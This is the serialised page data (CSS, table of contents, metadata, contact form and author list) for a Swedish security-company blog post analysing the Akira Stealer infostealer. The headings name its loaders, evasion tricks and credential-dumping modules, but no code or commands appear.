var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":594,"searchDepth":2063,"depth":2063,"links":12797},[12798,12799,12800,12801,12812,12813,12814,12815,12816,12817,12818,12819,12821,12822,12823,12824,12825,12826,12827,12828,12829,12832,12840,12841,12842,12848,12866,12884,12885,12886,12887,12895,12902,12909,12918,12925,12926,12927,12928,12929,12930,12931,12932,12933,12934,12935,12936,12937,12938,12939,12940],{"id":716,"depth":2063,"text":717},{"id":766,"depth":2063,"text":767},{"id":787,"depth":2063,"text":788},{"id":843,"depth":2063,"text":844,"children":12802},[12803,12804,12806,12808,12810],{"id":864,"depth":2069,"text":865},{"id":917,"depth":2069,"text":12805},"2.1.2 Updater.exe – Initial loader",{"id":1023,"depth":2069,"text":12807},"2.1.3 main.exe – Obfuskerad NodeJS-payloadbehållare",{"id":1142,"depth":2069,"text":12809},"2.1.4 cmd.exe och PowerShell-relä",{"id":1253,"depth":2069,"text":12811},"2.1.5 python.exe med astor.py",{"id":1387,"depth":2063,"text":1388},{"id":1476,"depth":2063,"text":1477},{"id":1554,"depth":2063,"text":1555},{"id":1637,"depth":2063,"text":1638},{"id":1707,"depth":2063,"text":1708},{"id":1787,"depth":2063,"text":1788},{"id":1896,"depth":2063,"text":1897},{"id":2013,"depth":2063,"text":12820},"4.2 AMSI Bypass-teknik (klass: gofor4msi)",{"id":2199,"depth":2063,"text":2200},{"id":2318,"depth":2063,"text":2319},{"id":2418,"depth":2063,"text":2419},{"id":2514,"depth":2063,"text":2515},{"id":2589,"depth":2063,"text":2590},{"id":2660,"depth":2063,"text":2661},{"id":2720,"depth":2063,"text":2721},{"id":2860,"depth":2063,"text":2861},{"id":2921,"depth":2063,"text":2922,"children":12830},[12831],{"id":2933,"depth":2069,"text":2934},{"id":3288,"depth":2063,"text":3289,"children":12833},[12834,12835,12836,12837,12838,12839],{"id":3297,"depth":2069,"text":3298},{"id":3411,"depth":2069,"text":3412},{"id":3609,"depth":2069,"text":3610},{"id":3900,"depth":2069,"text":3901},{"id":3975,"depth":2069,"text":3976},{"id":4137,"depth":2069,"text":4138},{"id":4372,"depth":2063,"text":4373},{"id":4418,"depth":2063,"text":4419},{"id":4430,"depth":2063,"text":4431,"children":12843},[12844,12845,12846,12847],{"id":4436,"depth":2069,"text":4437},{"id":4480,"depth":2069,"text":4481},{"id":4542,"depth":2069,"text":4543},{"id":4577,"depth":2069,"text":4578},{"id":4613,"depth":2063,"text":12849,"children":12850},"7.3 Anti-analys / undvikande (klass: VmProtect)",[12851,12852,12853,12854,12856,12857,12858,12859,12860,12861,12862,12863,12864,12865],{"id":4622,"depth":2069,"text":4623},{"id":4638,"depth":2069,"text":4639},{"id":4678,"depth":2069,"text":4679},{"id":4770,"depth":2069,"text":12855},"7.3.4 VmProtect-arkitektur",{"id":5123,"depth":2069,"text":5124},{"id":5189,"depth":2069,"text":5190},{"id":5258,"depth":2069,"text":5259},{"id":5322,"depth":2069,"text":5323},{"id":5390,"depth":2069,"text":5391},{"id":5447,"depth":2069,"text":5448},{"id":5545,"depth":2069,"text":5546},{"id":5615,"depth":2069,"text":5616},{"id":6071,"depth":2069,"text":6072},{"id":6118,"depth":2069,"text":6119},{"id":6132,"depth":2063,"text":6133,"children":12867},[12868,12869,12871,12873,12875,12877,12879,12881,12883],{"id":6290,"depth":2069,"text":6291},{"id":6398,"depth":2069,"text":12870},"7.4.2 Lösenordsdumpare (Chromium.GetPasswords)",{"id":6520,"depth":2069,"text":12872},"7.4.3 Kreditkortsdumpare (Chromium.GetCreditCards)",{"id":6602,"depth":2069,"text":12874},"7.4.4 Cookie-dumpare (Chromium.GetCookies)",{"id":6681,"depth":2069,"text":12876},"7.4.5 Google-sessionsdumpare (Chromium.dump_google_sessions)",{"id":6807,"depth":2069,"text":12878},"7.4.6 Historikdumpare (Chromium.GetHistory)",{"id":6878,"depth":2069,"text":12880},"7.4.7 Autofylldumpare (Chromium.GetAutofills)",{"id":6940,"depth":2069,"text":12882},"7.4.8 Firefox-profilinsamlare (GeckoDriver & grabFirefoxProfiles)",{"id":7017,"depth":2069,"text":7018},{"id":7056,"depth":2063,"text":7057},{"id":7388,"depth":2063,"text":7389},{"id":7502,"depth":2063,"text":7503},{"id":7831,"depth":2063,"text":7832,"children":12888},[12889,12890,12891,12892,12893,12894],{"id":7840,"depth":2069,"text":7841},{"id":7992,"depth":2069,"text":7993},{"id":8098,"depth":2069,"text":8099},{"id":8223,"depth":2069,"text":8224},{"id":8291,"depth":2069,"text":8292},{"id":8416,"depth":2069,"text":8417},{"id":8521,"depth":2063,"text":12896,"children":12897},"7.9. Stöld av Discord- och Telegram-token (klass: Discord)",[12898,12899,12900,12901],{"id":8535,"depth":2069,"text":8536},{"id":8666,"depth":2069,"text":8667},{"id":8911,"depth":2069,"text":8912},{"id":8993,"depth":2069,"text":8994},{"id":9064,"depth":2063,"text":9065,"children":12903},[12904,12906,12907,12908],{"id":9077,"depth":2069,"text":12905},"7.10.1 Data Class Initialization",{"id":9174,"depth":2069,"text":9175},{"id":9294,"depth":2069,"text":9295},{"id":9359,"depth":2069,"text":9360},{"id":9436,"depth":2063,"text":12910,"children":12911},"7.11 Filinsamlare (klass: Utils.steal_files)",[12912,12913,12914,12915,12916,12917],{"id":9448,"depth":2069,"text":9449},{"id":9519,"depth":2069,"text":9520},{"id":9581,"depth":2069,"text":9582},{"id":9614,"depth":2069,"text":9615},{"id":9643,"depth":2069,"text":9644},{"id":9822,"depth":2069,"text":9823},{"id":9932,"depth":2063,"text":9933,"children":12919},[12920,12921,12922,12923,12924],{"id":9941,"depth":2069,"text":9942},{"id":9956,"depth":2069,"text":9957},{"id":10035,"depth":2069,"text":10036},{"id":10184,"depth":2069,"text":10185},{"id":10416,"depth":2069,"text":10417},{"id":10769,"depth":2063,"text":10770},{"id":10800,"depth":2063,"text":10801},{"id":10924,"depth":2063,"text":10925},{"id":11036,"depth":2063,"text":11037},{"id":11087,"depth":2063,"text":11088},{"id":11265,"depth":2063,"text":11266},{"id":11315,"depth":2063,"text":11316},{"id":11359,"depth":2063,"text":11360},{"id":11399,"depth":2063,"text":11400},{"id":11489,"depth":2063,"text":514},{"id":11505,"depth":2063,"text":11506},{"id":12028,"depth":2063,"text":12029},{"id":12334,"depth":2063,"text":12335},{"id":12455,"depth":2063,"text":12456},{"id":12519,"depth":2063,"text":12520},{"id":12691,"depth":2063,"text":12692},"md","post",{"lang":12944,"seoTitle":12945,"titleClass":12946,"date":12947,"categories":12948,"blogtitlepic":12950,"socialimg":12951,"customExcerpt":12952,"keywords":12953,"maxContent":325,"asideNav":12954,"footer":13003,"contactInContent":13004,"published":325},"sv","Akira Stealer: Teknisk analys av en modulär informationsstjälande skadlig kod","h2-font-size","2025-06-16",[12949],"Security","head-quiet-breach.png","/blog/heads/head-quiet-breach.png","Det började med en enda Defender-varning i Microsoft 365. Ingen skadlig kod, inga signaturer, ingen panik. Bara en viskning i bruset. Det vi grävde fram var månader av stulna inloggningsuppgifter, kirurgiskt, tyst och nästan osynligt. Så här förvandlade vårt CSOC en tyst signal till en fullskalig insats. Och gav vår kund tillbaka kontrollen innan de ens visste att den var borta.","Microsoft 365 Security, upptäckt av stulna inloggningsuppgifter, incidenthantering, Microsoft Defender, Managed Security Services, molnsäkerhet, hotdetektering, upptäckt av cyberattacker, CSOC, Advanced Threat Protection",{"menuItems":12955},[12956,12958,12961,12964,12967,12970,12973,12976,12979,12982,12985,12988,12991,12994,12997,13000],{"href":12957,"text":531},"#prolog",{"href":12959,"text":12960},"#_1-ursprunglig-händelse-och-triage-sammanfattning","Ursprunglig händelse och triage-sammanfattning",{"href":12962,"text":12963},"#_2-skadlig-kods-arkitektur-och-exekveringskedja","Skadlig kods arkitektur och exekveringskedja",{"href":12965,"text":12966},"#_3-deep-dive-updaterexe","Deep Dive: Updater.exe",{"href":12968,"text":12969},"#_4-deep-dive-powbat","Deep Dive: pow.bat",{"href":12971,"text":12972},"#_5-deep-dive-mainexe-electron-baserad-malware-loader","Deep Dive: main.exe",{"href":12974,"text":12975},"#_6-deep-dive-inputjs-den-krypterade-javascript-payload-loadern","Deep Dive: input.js",{"href":12977,"text":12978},"#_7-deepdive-akira-stealer-v2-astorpy","DeepDive: Akira Stealer v2",{"href":12980,"text":12981},"#_8-cirkulär-exekveringskedja-en-självläkande-loop","Cirkulär exekveringskedja",{"href":12983,"text":12984},"#_9-blockchain-spårning-och-analys","Blockchain-spårning och analys",{"href":12986,"text":12987},"#_10-inuti-akira-ekosystemet-kommersialiserad-cyberbrottsinfrastruktur","Inuti Akira-ekosystemet",{"href":12989,"text":12990},"#_11-akira-stealer-quickcheck-berörda-filer","Akira Stealer QuickCheck påverkade filer",{"href":12992,"text":12993},"#_12-bortom-incidenthantering-hur-glueckkanja-csoc-förvandlar-incidenter-till-insikter","Hur glueckkanja CSOC förvandlar incidenter till insikter",{"href":12995,"text":12996},"#_13-indicators-of-compromise-iocs","Indicators of Compromise (IOCs)",{"href":12998,"text":12999},"#_14-reflektioner-kring-akira-stealer-incidenten-stärk-ditt-försvar-med-glueckkanja-csoc","Reflektioner kring Akira Stealer-incidenten",{"href":13001,"text":13002},"#_15-säkerhets-och-ansvarsfriskrivning-användning-av-verklig-skadlig-kod","Säkerhets- och juridisk ansvarsfriskrivning",{"noMargin":325},{"quote":484,"infos":13005},{"bgColor":13006,"color":13007,"boxBgColor":13008,"boxColor":13009,"headline":13010,"subline":13011,"level":714,"textStyling":13012,"flush":13013,"person":13014,"form":13026},"var(--color-gk-violet)","var(--color-gk-white)","var(--color-gk-yellow)","var(--color-copy)","Hör av dig nu","Som en ledande Microsoft Security MSSP skyddar vi företag mot cyberhot varje dag. Låt oss prata och stärka ditt cyberförsvar tillsammans.","text-light","justify-content-end",{"image":13015,"cloudinary":325,"alt":13016,"name":13016,"detailsHeader":13017,"details":13018},"/people/people-pam-team.png","Project & Account Management","Vi ser fram emot att höra från dig.",[13019,13023],{"text":492,"href":13020,"details":13021,"icon":13022},"tel:+49 69 4005520","Ring nu","site/phone",{"text":493,"href":13024,"icon":13025},"mailto:info@glueckkanja.com","site/mail",{"ctaText":13027,"cta":13028,"method":12942,"action":13030,"fields":13031},"Skicka",{"skin":13029},"primary on-surface","/send",[13032,13036,13040,13043,13047,13052,13055,13058],{"type":13033,"id":13034,"value":13035},"hidden","_next","successful",{"label":13037,"type":593,"id":13038,"required":325,"requiredMsg":13039},"Namn*","name","Ange ditt namn.",{"label":13041,"type":593,"id":403,"required":325,"requiredMsg":13042},"Företag*","Ange ditt företag.",{"label":13044,"type":13045,"id":13045,"required":325,"requiredMsg":13046},"E-postadress*","email","Ange din e-postadress.",{"label":13048,"type":13049,"id":13050,"required":325,"requiredMsg":13051},"Dina uppgifter lagras hos oss i syfte att behandla och besvara din förfrågan. Mer information om dataskydd finns i vår \u003Ca href=\"/sv/privacy\">integritetspolicy\u003C/a>.","checkbox","dataprotection","Vänligen bekräfta",{"type":13033,"id":13053,"value":13054},"_subject","Form: Blog MSSP 2025 | SV",{"type":13033,"id":13056,"value":13057},"inbox_key","gkgab-contact-form",{"type":13033,"id":13059},"_gotcha","/posts/2025-06-16-quiet-breach",{"title":521,"description":535},"posts/2025-06-16-quiet-breach",[13064,13065,13066,13067],"Microsoft 365 Defender","Threat Intelligence","Cyber Security Operations Center","Incident Deep Dive","a87g6GMl1yhiQMcxEFECOdIFzEEM0Jo-ASTip8eMQ8Y",{"id":13070,"extension":13071,"meta":13072,"stem":8,"__hash__":13422},"authors_data/authors.json","json",{"path":13073,"Fritz Zurhorst":13074,"Alexander Schlindwein":13080,"Sophie Luna":13086,"Nadine Klein":13094,"Karsten Kleinschmidt":13100,"Julian Wendt":13108,"Holger Bunkradt":13113,"Ralf Mania":13119,"Oliver Kieselbach":13125,"Steffen Schwerdtfeger":13131,"Gunnar Winter":13139,"Jan Petersen":13144,"Thorsten Kunzi":13149,"Moritz Pohl":13153,"Thorben Pöschus":13158,"Christoph Hannebauer":13164,"Marco Scheel":13168,"Christopher Brumm":13173,"Florian Klante":13180,"Niklas Bachmann":13185,"Nils Krautkrämer":13190,"Patrick Treptau":13196,"Peter Beckendorf":13201,"Patrick Sobau":13206,"Jörg Wunderlich":13211,"Michael Breither":13215,"Christian Kanja":13220,"Zeba Hoffmann":13226,"Jochen Fröhlich":13231,"Jan Geisbauer":13235,"Gerrit Reinke":13247,"Christian Kordel":13253,"Stephan Wälde":13257,"Carolin Kanja":13262,"Adrian Ritter":13268,"Marvin Bangert":13273,"Thorsten Pickhan":13279,"Christian Lorenz":13285,"Denis Böhm":13290,"Fabian Bader":13295,"Juan Jose Fernandez Perez":13301,"Mahschid Sayyar":13306,"Benjamin Dassow":13311,"Markus Walschburger":13316,"Jonathan Haist":13321,"Daniel Rohregger":13326,"Thomas Naunheim":13331,"Florian Stöckl":13336,"Pascal Asch":13341,"Markus Kättner":13345,"Anna Ulbricht":13352,"Annette Brauns":13359,"body":13365,"title":13421},"/authors",{"display_name":13075,"avatar":13076,"permalink":13077,"linkedin":13078,"imageOffsetTop":13079},"Fritz Zurhorst","people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":13081,"avatar":13082,"permalink":13083,"twitter":13084,"linkedin":13085},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":13087,"avatar":13088,"permalink":13089,"twitter":13090,"linkedin":13091,"imageOffsetLeft":13092,"imageOffsetTop":13093},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":13095,"avatar":13096,"permalink":13097,"twitter":13098,"linkedin":13099,"imageOffsetTop":13079},"Nadine Klein","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":13101,"avatar":13102,"permalink":13103,"twitter":13104,"linkedin":13105,"imageOffsetTop":13106,"imageOffsetLeft":13107},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":13109,"avatar":13110,"permalink":13111,"linkedin":13112},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":13114,"avatar":13115,"permalink":13116,"linkedin":13117,"twitter":13118},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":13120,"avatar":13121,"permalink":13122,"linkedin":13123,"twitter":13124},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":13126,"avatar":13127,"permalink":13128,"linkedin":13129,"twitter":13130},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":13132,"avatar":13133,"permalink":13134,"linkedin":13135,"twitter":13136,"imageOffsetTop":13137,"imageOffsetLeft":13138},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":13140,"avatar":13141,"permalink":13142,"twitter":13090,"linkedin":13143},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":13145,"avatar":13146,"permalink":13147,"twitter":13090,"linkedin":13148},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":13150,"avatar":13151,"permalink":13152,"twitter":13090,"linkedin":13143,"imageOffsetTop":13079},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":13154,"avatar":13155,"permalink":13156,"twitter":13090,"linkedin":13157},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":13159,"avatar":13160,"permalink":13161,"twitter":13162,"linkedin":13163},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":13165,"avatar":13166,"permalink":13167,"twitter":13090,"linkedin":13143,"imageOffsetTop":13079},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":13169,"avatar":13170,"permalink":13171,"twitter":13172,"linkedin":13172},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":13174,"avatar":13175,"permalink":13176,"twitter":13177,"linkedin":13178,"imageOffsetTop":13179},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":13181,"avatar":13182,"permalink":13183,"linkedin":13184,"twitter":13090},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":13186,"avatar":13187,"permalink":13188,"linkedin":13189,"twitter":13090},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":13191,"avatar":13192,"permalink":13193,"twitter":13194,"linkedin":13195},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":13197,"avatar":13198,"permalink":13199,"linkedin":13200,"twitter":13090},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":13202,"avatar":13203,"permalink":13204,"linkedin":13205,"twitter":13090,"imageOffsetTop":13079},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":13207,"avatar":13208,"permalink":13209,"linkedin":13210,"twitter":13090},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":13212,"avatar":13213,"permalink":13214,"twitter":13090},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":13216,"avatar":13217,"permalink":13218,"twitter":13090,"linkedin":13219},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":13221,"avatar":13222,"permalink":13223,"twitter":13224,"linkedin":13225},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":13227,"avatar":13228,"permalink":13229,"linkedin":13230,"twitter":13090},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":13232,"avatar":13233,"permalink":13234,"twitter":13090,"linkedin":13143},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":13236,"avatar":13237,"permalink":13238,"twitter":13239,"linkedin":13239,"imageOffsetTop":13079,"socials":13240},"Jan Geisbauer","people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[13241,13244],{"text":13242,"href":13243},"Blog","https://emptydc.com",{"text":13245,"href":13246},"Podcast","https://hairlessinthecloud.com",{"display_name":13248,"avatar":13249,"permalink":13250,"twitter":13251,"linkedin":13252},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":13254,"avatar":13255,"permalink":13256,"twitter":13090,"linkedin":13143},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":13258,"avatar":13259,"permalink":13260,"twitter":13261,"linkedin":13143},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":13263,"avatar":13264,"permalink":13265,"twitter":13266,"linkedin":13267},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":13269,"avatar":13270,"permalink":13271,"twitter":13272,"linkedin":13272},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":13274,"avatar":13275,"permalink":13276,"twitter":13277,"linkedin":13278},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":13280,"avatar":13281,"permalink":13282,"twitter":13283,"linkedin":13284},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":13286,"avatar":13287,"permalink":13288,"linkedin":13289,"twitter":13090},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":13291,"avatar":13292,"permalink":13293,"linkedin":13294,"twitter":13090},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":13296,"avatar":13297,"permalink":13298,"linkedin":13299,"twitter":13300},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":13302,"avatar":13303,"permalink":13304,"linkedin":13305},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":13307,"avatar":13308,"permalink":13309,"linkedin":13310},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":13312,"avatar":13313,"permalink":13314,"linkedin":13315},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":13317,"avatar":13318,"permalink":13319,"linkedin":13320},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":13322,"avatar":13323,"permalink":13324,"linkedin":13325,"imageOffsetTop":13079},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":13327,"avatar":13328,"permalink":13329,"linkedin":13330,"imageOffsetTop":13079},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":13332,"avatar":13333,"permalink":13334,"linkedin":13335,"imageOffsetTop":13179},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":13337,"avatar":13338,"permalink":13339,"linkedin":13340,"imageOffsetTop":13179},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":523,"avatar":13342,"permalink":13343,"linkedin":13344,"imageOffsetTop":13179},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":13346,"avatar":13347,"permalink":13348,"linkedin":13349,"imageOffsetTop":13350,"imageOffsetLeft":13351},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":13353,"avatar":13354,"permalink":13355,"linkedin":13356,"imageOffsetTop":13357,"imageOffsetLeft":13358},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":13360,"avatar":13361,"permalink":13362,"linkedin":13363,"imageOffsetTop":13364,"imageOffsetLeft":13106},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":13366,"Alexander Schlindwein":13367,"Sophie Luna":13368,"Nadine Klein":13369,"Karsten Kleinschmidt":13370,"Julian Wendt":13371,"Holger Bunkradt":13372,"Ralf Mania":13373,"Oliver Kieselbach":13374,"Steffen Schwerdtfeger":13375,"Gunnar Winter":13376,"Jan Petersen":13377,"Thorsten Kunzi":13378,"Moritz Pohl":13379,"Thorben Pöschus":13380,"Christoph Hannebauer":13381,"Marco Scheel":13382,"Christopher Brumm":13383,"Florian Klante":13384,"Niklas Bachmann":13385,"Nils Krautkrämer":13386,"Patrick Treptau":13387,"Peter Beckendorf":13388,"Patrick Sobau":13389,"Jörg Wunderlich":13390,"Michael Breither":13391,"Christian Kanja":13392,"Zeba Hoffmann":13393,"Jochen Fröhlich":13394,"Jan Geisbauer":13395,"Gerrit Reinke":13399,"Christian Kordel":13400,"Stephan Wälde":13401,"Carolin Kanja":13402,"Adrian Ritter":13403,"Marvin Bangert":13404,"Thorsten Pickhan":13405,"Christian Lorenz":13406,"Denis Böhm":13407,"Fabian Bader":13408,"Juan Jose Fernandez Perez":13409,"Mahschid Sayyar":13410,"Benjamin Dassow":13411,"Markus Walschburger":13412,"Jonathan Haist":13413,"Daniel Rohregger":13414,"Thomas Naunheim":13415,"Florian Stöckl":13416,"Pascal Asch":13417,"Markus Kättner":13418,"Anna Ulbricht":13419,"Annette Brauns":13420},{"display_name":13075,"avatar":13076,"permalink":13077,"linkedin":13078,"imageOffsetTop":13079},{"display_name":13081,"avatar":13082,"permalink":13083,"twitter":13084,"linkedin":13085},{"display_name":13087,"avatar":13088,"permalink":13089,"twitter":13090,"linkedin":13091,"imageOffsetLeft":13092,"imageOffsetTop":13093},{"display_name":13095,"avatar":13096,"permalink":13097,"twitter":13098,"linkedin":13099,"imageOffsetTop":13079},{"display_name":13101,"avatar":13102,"permalink":13103,"twitter":13104,"linkedin":13105,"imageOffsetTop":13106,"imageOffsetLeft":13107},{"display_name":13109,"avatar":13110,"permalink":13111,"linkedin":13112},{"display_name":13114,"avatar":13115,"permalink":13116,"linkedin":13117,"twitter":13118},{"display_name":13120,"avatar":13121,"permalink":13122,"linkedin":13123,"twitter":13124},{"display_name":13126,"avatar":13127,"permalink":13128,"linkedin":13129,"twitter":13130},{"display_name":13132,"avatar":13133,"permalink":13134,"linkedin":13135,"twitter":13136,"imageOffsetTop":13137,"imageOffsetLeft":13138},{"display_name":13140,"avatar":13141,"permalink":13142,"twitter":13090,"linkedin":13143},{"display_name":13145,"avatar":13146,"permalink":13147,"twitter":13090,"linkedin":13148},{"display_name":13150,"avatar":13151,"permalink":13152,"twitter":13090,"linkedin":13143,"imageOffsetTop":13079},{"display_name":13154,"avatar":13155,"permalink":13156,"twitter":13090,"linkedin":13157},{"display_name":13159,"avatar":13160,"permalink":13161,"twitter":13162,"linkedin":13163},{"display_name":13165,"avatar":13166,"permalink":13167,"twitter":13090,"linkedin":13143,"imageOffsetTop":13079},{"display_name":13169,"avatar":13170,"permalink":13171,"twitter":13172,"linkedin":13172},{"display_name":13174,"avatar":13175,"permalink":13176,"twitter":13177,"linkedin":13178,"imageOffsetTop":13179},{"display_name":13181,"avatar":13182,"permalink":13183,"linkedin":13184,"twitter":13090},{"display_name":13186,"avatar":13187,"permalink":13188,"linkedin":13189,"twitter":13090},{"display_name":13191,"avatar":13192,"permalink":13193,"twitter":13194,"linkedin":13195},{"display_name":13197,"avatar":13198,"permalink":13199,"linkedin":13200,"twitter":13090},{"display_name":13202,"avatar":13203,"permalink":13204,"linkedin":13205,"twitter":13090,"imageOffsetTop":13079},{"display_name":13207,"avatar":13208,"permalink":13209,"linkedin":13210,"twitter":13090},{"display_name":13212,"avatar":13213,"permalink":13214,"twitter":13090},{"display_name":13216,"avatar":13217,"permalink":13218,"twitter":13090,"linkedin":13219},{"display_name":13221,"avatar":13222,"permalink":13223,"twitter":13224,"linkedin":13225},{"display_name":13227,"avatar":13228,"permalink":13229,"linkedin":13230,"twitter":13090},{"display_name":13232,"avatar":13233,"permalink":13234,"twitter":13090,"linkedin":13143},{"display_name":13236,"avatar":13237,"permalink":13238,"twitter":13239,"linkedin":13239,"imageOffsetTop":13079,"socials":13396},[13397,13398],{"text":13242,"href":13243},{"text":13245,"href":13246},{"display_name":13248,"avatar":13249,"permalink":13250,"twitter":13251,"linkedin":13252},{"display_name":13254,"avatar":13255,"permalink":13256,"twitter":13090,"linkedin":13143},{"display_name":13258,"avatar":13259,"permalink":13260,"twitter":13261,"linkedin":13143},{"display_name":13263,"avatar":13264,"permalink":13265,"twitter":13266,"linkedin":13267},{"display_name":13269,"avatar":13270,"permalink":13271,"twitter":13272,"linkedin":13272},{"display_name":13274,"avatar":13275,"permalink":13276,"twitter":13277,"linkedin":13278},{"display_name":13280,"avatar":13281,"permalink":13282,"twitter":13283,"linkedin":13284},{"display_name":13286,"avatar":13287,"permalink":13288,"linkedin":13289,"twitter":13090},{"display_name":13291,"avatar":13292,"permalink":13293,"linkedin":13294,"twitter":13090},{"display_name":13296,"avatar":13297,"permalink":13298,"linkedin":13299,"twitter":13300},{"display_name":13302,"avatar":13303,"permalink":13304,"linkedin":13305},{"display_name":13307,"avatar":13308,"permalink":13309,"linked